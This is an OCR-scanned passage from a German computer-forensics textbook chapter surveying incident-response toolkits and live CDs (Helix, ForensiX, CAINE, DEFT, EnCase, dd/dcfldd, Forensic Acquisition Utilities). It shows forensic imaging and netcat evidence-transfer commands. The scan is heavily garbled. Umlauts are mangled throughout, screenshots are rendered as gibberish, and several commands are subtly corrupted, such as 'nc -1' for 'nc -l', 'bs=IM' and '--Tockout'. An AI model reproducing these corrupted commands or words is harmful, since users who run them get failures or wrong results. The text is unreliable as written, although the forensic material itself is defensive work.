Der unter Windows lauffihige Teil dieser Hybrid-CD enthilt fast alle
bekannten frei verfiigbaren Incident-Response- und Forensik-Werk-
zeuge: die komplette Sysinternals-Palette, die Werkzeuge von Somar-
soft, Foundstone sowie das Windows Forensic Toolchest und FR.E.D.
Neben dem in Abschnitt 6.7 beschriebenen EnCase fiir Linux befindet
sich im Windows-Bereich der Helix-CD der FTK Imager von Access-
Data (siehe Abschnitt 6.12).

6.6 ForensiX-CD

Im Rahmen eines Artikels fir das Computermagazin iX erstellte die
Redaktion gemeinsam mit Autoren eine Forensics-Live-Response-CD.
Dieses ForensiX genannte Projekt’ diente dazu, eine echte Live-Res-
ponse-Umgebung fiir Linux und Windows zu schaffen. Da es fiir den
Windows-Bereich bereits leistungsfihige Tools gibt, wurden diese auf
die CD tibernommen und thematisch sortiert. Fiir die Live Response
unter Linux sieht die Lage schon etwas anders aus. Aus diesem Grund
wurden einige sinnvolle Linux-Skripte fur die Sammlung von flichti-
gen Daten und die strukturierte Sicherung des Hauptspeichers erstellt.

Nachdem die ForensiX-CD im verdichtigen Linux-System
gemountet ist, wird das Skript ir-linux.sh aufgerufen. Vom Incident
Response Script werden nur die minimal notwendigen Dateien auf
dem zu untersuchenden Linux-System angefasst. Zum Auslesen der
fliicchtigen Daten werden auf dem System nur /dev/null und das /proc-

9. bttp:/lcomputer-forensik.orgftools/ix/
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Abb. 6-13
Die ForensiX-CD

Was tun nach einem Systemeinbruch?®
Werkiewge for Linux und Windews !
Ausriige our  Computer-Forasih®, dusht rarksg 7004

Dateisystem benotigt. Folgende zusitzliche Dateien werden gelesen,
was eine Verdanderung des Last-Access-Zeitstempels dieser Objekte
bedeutet: /etc/passwd fiir die Zuordnung der User zu laufenden Prozes-
sen und gespeicherten Dateien, /var/run/utmp und /var/log/wtmp fir
die Liste der letzten Log-ins bzw. der gerade angemeldeten Benutzer.

Auf dem verdichtigen Linux-System wird das Skript wie folgt
gestartet:

Pfad zur CD/bin-x86-2.6/bash ./ir-linux.sh <Ermittler-PC> <Port auf Ermittler-PC>

Pfad zur CD/bin-x86-2.6/bash ./ir-linux.sh <ausgabedatei>
Fur die Ausgabe auf einem Ermittler-PC sollte auf diesem ein Netcat
gestartet werden:

nc -1 <port> > <ausgabedatei> oder auch nc -1 <port>

| tee <ausgabedatei>
Alle auf der ForensiX-CD befindlichen Binaries sind statisch kompi-
liert.

Auf dem Ermittler-PC werden nun die Daten erstellt. Aus Sicher-
heitsgriinden werden keine vorhandenen Daten auf dem Ermittler-PC
tberschrieben. Eine Besonderheit ist, dass der gesamte Hauptspeicher
im UUENCODE-Format tibertragen wird. Mit dem Befehl tools/
extract.pl konnen die Speicherdumps aus der Logdatei extrahiert wer-
den. Die um die Speicherdumps bereinigte Logdatei kann dann kom-
fortabel ausgewertet werden.

Das Incident Response Script der ForensiX-CD benutzt fur die
Ausgabe des Prozessspeichers den »Process Dumper« von Tobias
Klein!?. Dieses Tool hat gegeniiber pca aus dem TCT den Vorteil, dass
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es die Metadaten zum Prozess in einem maschinenlesbaren Format mit
abspeichert und somit eine einfache Auswertung erlaubt.

Die Auswertung des Prozessspeichers kann allerdings nur mit dem
Windows-basierten Memory Parser (MMP) vom selben Autor erfol-
gen. Dieses Tool ist ebenfalls auf der CD enthalten.

6.7 C.A.lN.E. und WinTaylor

Eine ebenfalls auf Ubuntu basierende Linux-Live-CD ist C.A.I.LN.E.
(Computer Aided Investigative Environment)!!. C.A.LN.E. enthilt
viele fiir die forensische Arbeit relevante Werkzeuge. Das mehrheitlich
aus Italien stammende Entwicklerteam hat seine Arbeit unter GPL ver-
offentlicht. Ziel war es auch hier, nur notwendige Computer-forensi-
sche Werkzeuge zusammenzufassen. Nach dem Booten der auf Ubuntu
basierenden Live-CD steht eine integrierte forensische Umgebung zur
Verfiigung, die sowohl fiir die Sicherung als auch fiir die Analyse eines
verdachtigen Systems verwendet werden kann.

CAINE 4.0

orce oot 2 gri mode

ctonly boot Li i

modese boot: ive T for video p™s

| lash and Shptw book
e a1
hd k

http:/ wi.caine—TTOETIET

——

Booting in 2 seconds. ..

In der aktuell vorliegenden Version 4.0 ist die sehr sinnvolle Re-
porting-Funktion mittlerweile voll funktionsfihig. Das Reporting wird

10. hatp:/fwww.trapkit.delresearch/forensic/pd/
11. huap:/lwww.caine-live.net/

Abb. 6-14

C.A.LN.E bietet beim Start
nicht nur die Analyse,
sondern auch die
Installation.
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Abb. 6-15

Die forensischen Werk-
zeuge wurden unter einer
grafischen Oberfldiche
zusammengefasst. (Das
Autorenteam scheint ein
Faible fiir amerikanische
Krimiserien zu haben,
wenn man sich die
Grafiken so betrachtet.)

halbautomatisch auf Basis der Ergebnisse von vielen der installierten
Werkzeugen erstellt. Zum Aktivieren miissen via apt-get install doc-
book-utils noch die zugehorigen Komponenten nachgeladen werden.
Da man dies selbstverstiandlich nicht wahrend einer Analyse macht, da
der Rechner ja keine Verbindung zum Internet haben sollte, gibt es auf
der Webseite der Entwickler ein Image, das sich fiir eine Installation
auf einem USB-Stick eignet. Diese Image enthdlt NBCaine, das sich auf
Multiboot-fahigen USB-Sticks installieren ldsst. Damit sind dann auch
zusitzliche dauerhafte Konfigurationsmoglichkeiten machbar.

10 %IB8 i

Neben den tiblichen auch auf anderen CDs enthaltenen Werkzeugen zur
Data Acquisition und Post-mortem-Analyse ist die freie Imaging-Soft-
ware Guymager'? hervorzuheben. Diese bietet dhnlich wie AIR oder
Adepto (zu beiden siehe das folgende Kapitel) eine grafische Oberfliche
zur Sicherung verschiedener Datentriager. Guymager arbeitet sehr
schnell, wenn es darum geht, Daten wihrend des Sicherungsvorgangs
zu komprimieren und Priiffsummen zu erstellen. Als Ergebnis stehen
sowohl das Raw-DD-Format als auch E01 und AFF zur Verfugung.

Ein komplette Ubersicht der auf C.A.LN.E. 4.0 installierten Werk-
zeuge findet sich im Anhang dieses Buches (siehe Anhang B).

Die Programmierer von C.A.LN.E. widmen sich auch der Win-
dows-Welt. Unter dem Namen WinTaylor ist eine umfangreiche Inci-

12. hutp://guymager.sourceforge.net/
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dent-Response-Sammlung geschaffen worden, die zahlreiche Werk-
zeuge fiir die Sicherung und Analyse eines Windows-Systems enthilt.
Neben dem in diesem Buch noch niher beschriebenen FTK Imager und
den Sysinternals-Tools finden sich auch zahlreiche Werkzeuge von Nir-
soft fiir die Analyse der Registry sowie fiir die Hauptspeicheranalyse
(winen, win32dd und mdd). Einen Nachteil hat WinTaylor derzeit: Es
basiert auf Visual Basic 6 und benoétigt die entsprechenden Bibliothe-
ken. Sind diese auf dem System nicht vorhanden, miissen diese instal-
liert werden, was das System verdndert. Aus diesem Grund sollte man
iiberlegen, WinTaylor nur in einer virtuell wiederhergestellten Umge-
bung des sichergestellten Images zu verwenden oder die moglichen
Anderungen am System genau zu protokollieren.

q WinTaylor 2.5 - o IEN Abb. 6-17
g ’ Die Oberflédche von
I/ = ~ WinTaylor fasst die
l_'r\j Wl n Ta y ' 0 r for c o l n e wichtigsten Werkzeuge
= - = zusammen. Den Rest
elect yous Lavounte lorens findet man in einigen

NirSoft] H Unterverzeichnissen.

The Report file is
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6.8 DEFT und DEFT-Extra

Eine weitere aktuelle Linux-Live-CD fur den Spezialeinsatz bei forensi-
schen Untersuchungen ist die italienische Distribution DEFT (Digital
Evidence & Forensics Toolkit)'3. DEFT 8.0 basiert ebenfalls auf Ubuntu
und enthilt zahlreiche freie Computer-Forensik-Werkzeuge. Eine kom-
plette Liste der enthaltenen Werkzeuge findet sich im Anhang. DEFT
enthdlt im Linux-Teil Windows-Werkzeuge, die mittels WINE unter
Linux gestartet werden konnen. Es ist damit moglich, z.B. nach Prefetch-
Abb.6-18  Dateien zu suchen oder Artefakte des Internet-Explorers auszuwerten.

Die DEFT-Linux-Live-CD

Ubuntu und wird in Italien

Der WINE-Ansatz bietet
viele M6glichkeiten der
Integration von Windows-
Spezialwerkzeugen, die

gestartet werden kdnnen.

basiert ebenfalls auf

entwickelt.

Abb. 6-19
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13.  hap:/lwww.deftlinux.net/
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Eine interessante Ergidnzung zu DEFT ist das mittlerweile nicht mehr
separat erhiltliche Tool DART. DART ist das Digital Advanced Res-
ponse Toolkit, welches die wichtigsten Werkzeuge fiir die Erste Hilfe
an einem kompromittierten System enthilt. Alle Tools sind, wie man
sie aus vielen Windows-Umgebungen kennt, hier fiir Linux zusammen-
gefasst und direkt von DEFT aus startbar.

= > Abb. 6-20
d DART XML hash: b7ebeec33c5184590119eaf526208c4a Das Digital Advanced
a rt Response Toolkit fasst sehr
Dl Audwarn o) Bengrorme Tomstt
: = o v - viele niitzliche Werkzeuge
._, C . ' é :f‘\a = unter einer Oberfldche
Acquire Data Recovery Forensics. Incident Resp. MNetworking Password Visualize Urility
zusammen.
iqii:i Browser | =
8 E-Mail
B8 Encryption
@0 File
8 () Hashing
B8 Instant Messaging
B Peer to Peer
B3 Windows Forensics
B Registry
@ (1 Printer Spooler
¥ FSV Thumbs Extractor @ REVEAL ﬁf START AS ADMIN % START AS CURRENT USER
Auch bei DEFT findet sich ein Windows-Teil — DEFT-Extra genannt.
Dieser ist ebenfalls mit sehr vielen Werkzeugen fiir Live Response und
Sicherung fiir eine Post-mortem-Analyse ausgestattet. Es finden sich
hier fast alle in diesem Buch vorgestellten freien Forensik-Werkzeuge
und eine aktuelle Version des FTK Imager.
[ & DEFT-Extrn 20 - Windows Foremsxs Toolkit o d Abb. 6-21
— 3 Mcdichtige Windows-
¢ x Forensik-Werkzeuge
¢ lassen DEFT-Extra schnell
Deft-Extra 3.0 - Control Panel
Home. | Sysrts | Accen | fratays | Sysetea | tieson | PrssmcrsToat | . | zu einem unentbehrlichen
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.Fn'ﬂlg,ll.mimll 14:2048 Running: DADEFT-Extra-3.0.exe. e eftiou ret




Lizenziert fur 2109487.
© 2014 dpunkt. Alle Rechte vorbehalten. Keine unerlaubte Weitergabe oder Vervielfaltigung.

178

6 Forensik- und Incident-Response-Toolkits im Uberblick

Abb. 6-22
Hauptansicht von
EnCase 6

6.9 EnCase

14 ist eine unter Win-

Das Produkt EnCase der Firma Guidance Software
dows laufende Anwendung, die das Erstellen von forensischen Images
sowie den Import von klassischen mit dd erstellten Images ermoglicht.
Ist das Image in das Case-Management von EnCase eingebunden, kann
das darauf befindliche Dateisystem analysiert und grindlich nach
bestimmten Dateinamen oder Dateiinhalten durchsucht werden. Um
sich bei Untersuchungen mit umfangreichen Dateimengen auf die
wesentlichen Untersuchungsziele zu konzentrieren, lassen sich zu jedem
Case sogenannte »logical Evidence Files« hinzufiigen. Dies reduziert das
zu analysierende Datenvolumen auf ein tberschaubares MafS, ohne
dabei den Zugriff auf den Rest der Daten zu verlieren (siche Abb. 6-22).
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EnCase ist ein machtiges Werkzeug und hat sich gerade bei Polizeibe-
horden zu einem Quasistandard entwickelt. Mittlerweile werden die
Dateisysteme von Windows, Mac OS, Linux, Solaris, AIX und HP UX
unterstiitzt. Interessanterweise kann EnCase auch komprimierte
NTEFS-Systeme und Platten aus Raid-0-, Raid-1- und Raid-5-Systemen
analysieren. Durch eine verbesserte Unicode-Unterstiitzung wird die
Analyse von asiatischen oder kyrillischen Zeichensitzen erleichtert.

14. bttp://www.guidancesoftware.com/
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Dem Beispiel des AccessData Forensic Toolkit (siehe Abschnitt 6.12) fol-
gend wird ein Suchindex erzeugt, der ein zugiges Auffinden von Key-
words ermoglicht. Fiir die Suche nach bestimmten Informationen wie
IP- oder Mailadressen bzw. Schlagwortern kann aber weiterhin ein
Suchmuster vorgegeben werden, das sich auch aus reguliaren Ausdrii-
cken zusammensetzen kann (sieche Abb. 6-23). Mochte man spater
nach weiteren Informationen suchen, muss das Suchmuster angepasst
und die Suche nochmals gestartet werden. Dies zwingt zur klaren Defi-
nition einer Suchstrategie, bevor man diesen langwierigen Prozess star-
tet. Eine intuitive Suche nach vielleicht unbekannten Anzeichen eines
Systemeinbruchs ist mit diesem Ansatz nicht so ohne Weiteres mog-
lich. Die in EnCase Forensic enthaltene Skriptsprache EnScript bietet
hier allerdings eine sehr gute Moglichkeit, die Analyse zu automatisie-
ren und an den eigenen Ermittlungsstil anzupassen. So untersucht das
mitgelieferte EnScript-Beispiel »Case Processor« ein forensisches
Image auf gingige Spuren in Registry, Eventlog und User-Profil-Ver-
zeichnis bzw. wertet bei einem Unix-Dateisystem die Daten der dort
gefundenen Syslog-Dateien aus.
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Abb. 6-24
Darstellung der
Suchergebnisse unter
EnCase 6

EnScript
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EnCase enthilt, wie eben schon erwihnt, die Skriptsprache EnScript.
Mit ihr lassen sich erweiterte Analysefunktionen hinzufiigen, aber auch
Standardabliufe automatisieren (z.B. die Suche nach bestimmten
Dateitypen bzw. -inhalten, die Suche nach installierten USB-Datentra-
gerspuren oder die Analyse von ICQ-Spuren). Finden sich Office-
Dokumente, kann EnCase u.a. eingebettete OLE-Verkniipfungen
anzeigen. Neben der Moglichkeit, fiir eine bequemere Analyse Regis-
try-Dateien zu mounten, kann auch der Inhalt von Outlook-PST-
Dateien eingesehen werden. Neben der besseren Unterstiitzung der
Maildatenformate von Outlook und Outlook Express konnen Personal
File Cabinets von AOL 6, 7, 8 und 9 analysiert werden. Mit dem Sie-
geszug von Webmaildiensten a la Hotmail und Yahoo liegt ein wesent-
licher Schwerpunkt in der Auswertung entsprechender Gebrauchsspu-
ren auf verdachtigen Festplatten. EnCase triagt diesem Umstand durch
eine erweiterte Auswertung der im Browser-Cache enthaltenen Infor-
mationen Rechnung.

Neben der Erstellung von lokalen und Netzwerk-Images werden
auch einige PDA-Modelle unterstiitzt. Als einziges integriertes Foren-
sik-Werkzeug kann EnCase auch Daten von Palm- bzw. Handspring-
Geriten lesen. Hierzu muss aber die Palm-Conduit-Software auf dem
Analysesystem installiert sein (siche Abb. 6-235).
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Bei der Analyse der auswertbaren Dateisysteme ist neben IBMs Journa-
ling Filesystem und AIX LVMS auch die Analyse von TiVo-Systemen
moglich. Allerdings ist es wie bei vielen anderen Windows-basierten
Forensik-Werkzeugen immer noch nicht moglich, die geloschten
Dateien eines ext3-Dateisystems darzustellen. Fir die Analyse eines
entsprechenden Datentragers ist dies aber unumganglich, was den Ein-
satz von EnCase fiir ext3-Datentrager praktisch unmoglich macht. Dies
ist ein zusatzliches Argument, sich nicht nur auf ein Tool zu verlassen.
Seit Jahren wurde EnCase mit einer auf DOS basierenden Kompo-  EnCase for DOS
nente ausgeliefert, die fur die Erstellung von bitweisen forensischen
Kopien der zu untersuchenden Datentriager verwendet werden kann.
Die integrierte Hashing-Funktionalitit ermoglicht dabei die Uberprii-
fung, ob die damit erstellte Kopie dem originalen Datentrager ent-
spricht. Das verdichtige System musste von einem vertrauenswiirdigen
Medium gebootet werden, dann konnte mit EnCase for DOS eine
forensische Kopie erstellt werden. Das Image konnte entweder auf
einen angeschlossenen Datentriger geschrieben oder tiber das mitgelie-
ferte Crossover-Kabel auf einen zweiten PC iibertragen werden. Damit
die Image-Daten empfangen werden konnten, war auf dem zweiten
System EnCase in den Servermodus zu setzen. Das Erstellen von foren-
sischen Images ist nun unter DOS nicht mehr moglich, sondern unter
Linux.
Das von Guidance mitgelieferte EnCase LinEn (sieche Abb. 6-26)  LinEn

arbeitet dhnlich wie EnCase for DOS. Das verdichtige System wird
mit einem vertrauenswiirdigen Linux-Medium gebootet, dann wird
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Abb. 6-26
LinEn unter Linux mit
Encase Images erstellen

Exaktes Duplizieren

mit LinEn eine forensische Kopie der angeschlossenen Datentriger
erstellt. LinEn kann man sich somit auf seine bevorzugte Incident-Res-
ponse-CD kopieren. Auf der in diesem Buch vorgestellten Helix-Live-
CD ist LinEn bereits enthalten.

B[ Rootierminal

sdal fdev/sdal  Liro:

NTFS 72016000 10,568

Der Tatsache, dass EnCase immer hiufiger auch auflerhalb des eng-
lischsprachigen Raumes zum Einsatz kommt, wurde der Hersteller
durch die Veroffentlichung von mehrsprachigen Versionen gerecht. So
gibt es EnCase auch in deutscher Sprache. EnCase bietet eine anschau-
liche Darstellung von zeitlichen Abldufen auf dem Festplatten-Image.
Anhand einer Kalenderansicht kann auch der ungeiibte Betrachter
Zusammenhinge nachvollziehen.

In einer separat erhiltlichen EnCase-Enterprise-Edition kann u.a.
eine Analyse an einem laufenden System iiber ein Netzwerk erfolgen.
Diese Funktion ist z.B. interessant, um die Ausfallzeiten eines kriti-
schen Servers zu reduzieren oder wenn ein Incident-Response-Team
schnell auf einen Vorfall in einer Niederlassung reagieren muss, wobei
natiirlich die sich aus dem Netzzugriff ergebenden ermittlungstechni-
schen Einschrankungen der Beweiskraft zu beachten sind.

6.10 dd

Urspriinglich wurde das Tool dd zum Kopieren in einer Unix-Umge-
bung verwendet!’. Mit Kopieren ist in diesem Zusammenhang exaktes
Duplizieren gemeint. Dd ist zu einem der Hauptwerkzeuge im Feld der
digitalen Forensik geworden. Hierbei wird es zum Erstellen exakter

15. http:/lwww.sans.orglwebcasts/dd/index.htm
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Kopien von verdachtigen Festplatten oder Partitionen zur Beweissiche-
rung eingesetzt (siche Abschnitt 4.8). Die Besonderheit an dd ist die
Flexibilitit des Tools, die es einem Ermittler ermoglicht, nahezu jedes
Block-Device Bit fiir Bit zu duplizieren. Dd ist mittlerweile nicht nur
fir Unix verfuigbar, sondern kann mit oder ohne Cygwin-Layer auch
unter Windows eingesetzt werden.

Eine kurzer Uberblick iiber die wesentliche Syntax:

dd if=Quelle of=Ziel

Mit dem Parameter if= wird das Device angegeben, das dupliziert wer-
den soll. Dies kann eine Datei, eine gesamte Festplatte oder nur eine
Partition bzw. ein anderes Block-Device sein. Der Parameter of= gibt
das Ziel an, wohin die Quelldaten dupliziert werden sollen. Hier kann
entweder eine Zielplatte, eine Zielpartition, eine Datei oder wieder ein
anderes Block-Device angegeben werden. Auch ein Bandlaufwerk ist
hier zum Beispiel moglich. Mochte man die gesamte erste Festplatte
eines Linux-Systems in eine Datei namens image-hda.dd in einem ande-
ren Verzeichnis kopieren, gibt man folgenden Befehl ein:

dd if=/dev/hda of=/mnt/forensic_images/image-hda.dd

In der Datei image-hda.dd befindet sich nun ein exaktes, bitweise
kopiertes Duplikat der gesamten Festplatte. Ebenso konnen einzelne
Partitionen dupliziert werden. Im folgenden Beispiel wird die Partition
/dev/hda3 in die Datei image-hda3.dd dupliziert:

dd if=/dev/hda3 of=/mnt/forensic_images/image-hda3.dd

Wie bei jedem guten Unix-Tool gibt es auch bei dd noch einige weitere
Parameter, die hier nur kurz erliutert werden sollen:

Bs= Blockgrofle, legt fest, wie viele Daten in einer Operation
Ubertragen werden.

Count= legt fest, wie viele Blocke tibertragen werden.

Skip= legt fest, wie viele Blocke am Anfang jeder Eingabe
ibersprungen werden sollen.

conv=noerror Lesefehler werden ignoriert und der Vorgang weiterge-
fithrt.

Mochte man die zu duplizierende Datei in kleinere Stiicke aufteilen,
damit sie z.B. auf mehrere CDs gebrannt werden kann, lassen sich die
Optionen count und skip verwenden. Im folgenden Beispiel wird die
erste Festplatte in vier Teile a2 620 MB aufgeteilt, die sich dann z.B. auf
einer CD archivieren lassen (die Blockgrofle je Operation wird auf 1
Megabyte gesetzt, jede Operation wird 620-mal durchgefiihrt, die
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MD5-Priifsummen

jeweils vorher iibertragene Anzahl Gibersprungen und in ein jeweils
neues Image geschrieben):

dd if=/dev/hda of=/mnt/forensic_images/diskl.img bs=1M count=620

dd if=/dev/hda of=/mnt/forensic_images/disk2.img bs=1M count=620 skip=620

dd if=/dev/hda of=/mnt/forensic_images/disk3.img bs=IM count=620 skip=1240

dd if=/dev/hda of=/mnt/forensic_images/disk4.img bs=IM count=620 skip=1860
Zur Analyse der Images miissen alle Image-Fragmente wieder zusam-
mengesetzt werden.

Dd ist von einigen Anwendern um recht sinnvolle Erweiterungen
erganzt worden. So wurden z.B. durch das amerikanische Verteidi-
gungsministerium zur originalen dd-Implementation MD35-Priifsum-
menerstellung bzw. -tiberpriifung hinzugefiigt und unter dem Namen

dcfldd'® versffentlicht:

#./dcfldd --help
Usage: dcfldd [OPTION]...

[.]

hashwindow=BYTES ~ perform an MD5 hash on every BYTES amount of data
hashlog=FILE send MD5 hash output to FILE instead of stderr
status=[on]|off] display a continual status message on stderr

default state is "on"
sizeprobe=[if|of] determine the size of the input or output file
for use with status messages. (this option
gives you a percentage indicator)
WARNING: Read the manual before using this
option.
[.]
Die Erweiterungen fiir dd, das in den Forensic Acquisition Utilities
(sieche Abschnitt 6.11) enthalten ist, ermoglichen ebenfalls die Verwen-
dung von MDS5-Priifsummen. Zusitzlich wird beim Aufruf des Pro-
gramms ein Zeitstempel ausgegeben, der fiir die Protokollierung der
benutzten Befehle verwendet werden kann. Diese dd-Version verhin-
dert z.B. in der Standardeinstellung, dass das forensische Image auf
den gleichen Datentriger geschrieben wird. Weiterhin besteht die
Moglichkeit, anhand von Dateiattributen und MAC-Times eine Aus-
wahl der zu sichernden Dateien vorzunehmen:

D:\Programme\ FAU\dd.exe -help

Forensic Acquisition Utilities, 1, 3, 0, 2363
dd, 5, 3, 0, 2363

Copyright (C) 2007 GMG Systems, Inc.

Befehlszeile: dd -h

Microsoft Windows XP 5.1.2600 Uniprocessor Free(Service Pack 2,
2600.xpsp_sp2_gr.070227-2254)

30.12.2007 22:47:46 (UTC)

16. hutp://prdownloads.sourceforge.net/biatchux/dcfldd-1.0.tar.gz
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30.12.2007 23:47:46 (Ortszeit)

Aktueller Benutzer: hisolutions.com/Users/Alexander Geschonneck
Gebietsschema des aktuellen Benutzers: German Germany.850
StandardmdBige Sprache des Benutzers: 0x0407

Syntax: dd if=[QUELLE] of=[ZIEL] [OPTIONEN]

Mit dem Programm dd.exe kann man ein oder mehrere Devices, Dateien oder
Streams kopieren und die Ausgabe mit den bei [OPTIONEN] angegeben Parametern
umwandeln und formatieren.

OPTIONEN:

bs=BYTES Setzt den Ausgabewert von ibs und obs auf den Wert von
[BYTES].

conv=[STICHWORTE] Option(en) fiir den Input. Bei Verwendung von mehreren
Optionen miissen diese mit einem Komma getrennt werden.
Die folgende Werte konnen fiir die Option [STICHWORTE]
verwendet werden:

noerror Nach Lesefehler dd.exe nicht beenden, sondern

fortfahren.
comp Die Ausgabedatei komprimieren.
decomp Die Eingabe entpacken.
swab Jedes Paar von Eingabe Bytes vertauschen.

notrunc Die Ausgabedatei nicht verkiirzen.
resume  Einen abgebrochenen Kopier-Vorgang wieder
fortsetzen. (Nur Enterprise Level)

count=[BLOCKS] Nur die angegebene Anzahl der Bldcke kopieren.

ibs=[BYTES] Gibt die GroBe des Input Blocks an.

if=[QUELLE] Gibt die Quell-Datei oder das Quell-Device an. Default
ist stdin.

obs=[BYTES] Gibt die GroBe des Ausgabe-Blocks an.

of=[ZIEL] Gibt die Zieldatei oder das Ziel-Device an. Default ist
stdout.

seek=[BLOCKS] Uberspringt die angegebene Anzahl von obs Bldcken beim
Start der Ausgabe.

skip=[BLOCKS] Uberspringt die angegebene Anzahl von ibs Blécken beim
Start des Einlesens.

--iport [PORT] Die Ausgabe an den TCP-[PORT] senden.

--1port [PORT] Die Ausgabe der Logdatei an den TCP-[PORT] senden.

Wird die Option '--iport' oder '--lport' verwendet, wird 'ofa' als

Ziel-IP-Addresse interpretiert.

-g --gather Damit werden verschiedene Eingabedateien zu einer
einzelnen Ausgabedatei zusammen gefaBt.
-a --append Die Eingabedatei wird an die Ausgabedatei angehdngt.

-r --recursive Rekursiv Unterverzeichnise nach Dateien durchsuchen. Diese
Option wird nur ausgefiihrt, wenn Sie
ein Such-Muster angeben.

--help Diesen Hilfe-Text anzeigen.

-v, --verbose Ausfiihrlichere Anzeige mit mehr Details.

--cryptsum [ALGORITHMUS] Fiir die kryptographische Checksumme wird der in
[ALOGORITHMUS] angegebene verwendet. Es konnen mehrere
Algorithmen angegeben werden. "md2", "md4", "md5", "sha"
oder "shal" werden auf allen Windows-Plattformen
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unterstiitzt. Die Algorithmen "sha 256", "sha 384" und
"sha_512" werden nur von Windows 2003 oder Nachfolgern

unterstiitzt.

--cryptout [DATEI] Gibt die Ausgabedatei der (oder des)
Kryptographischen Hash(es) an.

--verify Uberpriift die Kryptographische Hash-Summe der Eingabe mit

der Ausgabe.
--verify original Uberpriift, ob die Eingabedatei wihrend des
Kopier-Vorganges gedndert wurde.

--sparse Die Ausgabedatei auf ein Minimum beschrénken.

--log [DATEI] Gibt doe Logdatei an.

--lockin Die Eingabedatei wahrend des Kopier-Vorganges sperren
damit andere Prozesse oder Programme nicht darauf zugreifen
kénnen.

--Tockout Die Ausgabedatei wahrend des Kopiervorganges sperren, damit
andere Prozesse oder Programme nicht darauf zugreifen
kénnen.

--volumelabel [NAME DES LAUFWERKES] Die Ausgabe auf ein entfernbares Laufwerk

(z.B. einen USB-Stick) mit dem Namen [NAME_DES LAUFWERKES]
schreiben. Bei Beniitzung dieser Option wird der Name des
beniitzten Laufwerkes an den Pfad des mit of=[ZIEL]
angegebenen Ziels angehdngt.

--eject Das mit '--volumelabel' angegebene Laufwerk wird vom System
getrennt und wenn méglich (z.B. bei Verwendung einer
beschreibbaren CD) aus dem CD-Schacht ausgeworfen.

--Tocalwrt Ermdglicht das Schreiben auf ein lokales Laufwerk.
--restore_access_times Stellt die Orginal Zugriffszeit der Quelldatei
wieder her.

--Tocale [SPRACHE] Gibt die Ausgabesprache an (Beispiel "--locale
english").

--seek [BLOCKS] Uberspringt die angegebene Anzahl von obs-Bldcken
beim Start der Ausgabe.

--skip [BLOCKS] Uberspringt die angegebene Anzahl von ibs-Blécken
beim Start des Einlesens.

--count [BYTES] Nur die angegebene Anzahl von Bytes kopieren.

--chunk [BYTES] Die maximale GroBe der Ausgabedatei festlegen.

Wenn die Datei die maximale GroBe erreicht hat, wird
jedesmal eine neue Datei erzeugt und dorthin die
verbleibende Ausgabe geschrieben und auch mit einem
zusdtzlichen Suffix zur Unterscheidung versehen.
--comp [ALGORITHMUS] Die Ausgabedatei mit dem [ALGORITHMUS] koprimieren.
--decomp [ALGORITHMUS] Die Eingabedatei mit dem unter [ALGORITHMUS]
angegebenen Verfahren entpacken.

--allvolumes Alle ansprechbaren Laufwerke mit jeweiliger User-
Nachfrage kopieren.

--alldrives Alle Tokalen Laufwerke mit jeweiliger User-Nachfrage
kopieren.

--random output_dir Einen zufdllig generierten Namen fiir das Ausgabe-
verzeichnis an den angegebenen Ausgabepfad anhdngen

(]
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Die folgenden Optionen konnen in Verbindung mit einem Suchmuster
zur Anzeige von Dateien und Streams verwendet werden:

-A, --attributes Dateien mit bestimmten Attributen ausgeben:

Attribute D Verzeichnisse R Schreibgeschiitzte Dateien

Versteckte Dateien Zu archivierende Dateien

Komprimierte Dateien Verschliisselte Dateien

0ffline-Dateien Sparse-Dateien

System-Dateien vorangestellt wird die
Bedeutung umgekehrt

w o o =
1 O m >

T Tempordre Dateien

--any Bestimmt wie die '-A --attribute'-Option angewandt werden soll.
Bei '--any' werden Dateien oder Streams mit einem der
angegebenen Attribute angezeigt. StandardméBig werden Dateien
oder Streams mit allen angegebenen Attributen angezeigt.
Die folgenden Parameter konnen fiir die Auswahl der Dateizeit ver-
wendet werden:

--modified [DATEIZEIT] Ausgabe anhand der Last Modification Time (zuletzt
modifiziert).

--accessed [DATEIZEIT] Ausgabe anhand der Last Access Time (letzter
Zugriff).

--created [DATEIZEIT] Ausgabe anhand der Last Creation Time
(Erstellungszeit).

[.]

6.11 Forensic Acquisition Utilities

Eine weitere hervorragende Sammlung von niitzlichen Systemtools fin-
det sich in den Forensic Acquisition Utilities von George M. Garner Jr!”.

Voraussetzung fur den Einsatz der enthaltenen Werkzeuge ist ein
Analysesystem, das unter Windows 2000 oder hoher liuft. Es sind
auch Anweisungen zum Ubersetzen der Tools enthalten, wenn man die
vorkompilierten Dateien nicht verwenden mochte. Die einzelnen
Grundprogramme wurden urspriunglich von unterschiedlichen Ent-
wicklern programmiert. Die originalen Versionen sind aber um viele
nutzliche Features erweitert worden. So wird etwa bei jeder durchge-
fithrten Aktion ein Zeitstempel erzeugt. Die einzelnen Tools enthalten
sinnvolle Erweiterungen, z.B. die Integration von MDS$-Priifsummen
oder die Moglichkeit, tiber regulire Ausdriicke Dateien auszuwihlen.

17. bhitp:/fusers.erols.com/gmgarner/forensics/

Niitzliche Systemtools

Systemvoraussetzung:
Windows 2000 aufwiirts
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Werkzeuge ~ Folgende Werkzeuge sind in den Forensic Acquisition Utilities enthal-
ten:
dd.exe
Eine modifizierte Version des GNU-Tools dd
mdSsum.exe
Modifiziertes Tool, um MDS5-Priiffsummen zu berechnen
Volume_dump.exe
Werkzeug, um Informationen tiber Datentrager anzuzeigen
wipe.exe
Werkzeug, um die fiir die Speicherung von Beweisdaten vorgesehe-
nen Datentrager zuverlissig zu l6schen
nc.exe
Eine modifizierte Version des originalen Netcat
fmdata.exe
Zeigt neben den Datei- und Verzeichnisattributen weitere Sicher-
heitsinformationen sowie die MAC-Times an.
Fiir die Verwendung der Tools werden die Bibliotheken MSVCP8.DLL
und MSVCR8.DLL benétigt, die mitgeliefert werden. Einige der Tools
befinden sich nach Aussage des Entwicklers aber noch im Beta-Sta-
dium. Im produktiven Einsatz erweisen sich die Tools hingegen als sta-
bil und durch die komplette Neuentwicklung auch sehr performant.
6.12 AccessData Forensic Toolkit
Komplette  Das Forensic Toolkit (FTK) der amerikanischen Firma AccessData!®
Analyseumgebung fiir  ist eine komplette Analyseumgebung fiir Unix- und Windows-Datei-

Unix- und Windows-
Dateisysteme

systeme. Es konnen Images von physisch angeschlossenen Festplatten
oder logischen Laufwerken erzeugt werden. Es besteht auch die Mog-
lichkeit, bereits mit dd oder anderen Werkzeugen erstellte Festplatten-
Images einzulesen und mit dem AccessData FTK zu analysieren. FTK
lauft allerdings nur unter Windows.

Durch die Integration von Quick View (Outside-In-Viewer-Tech-
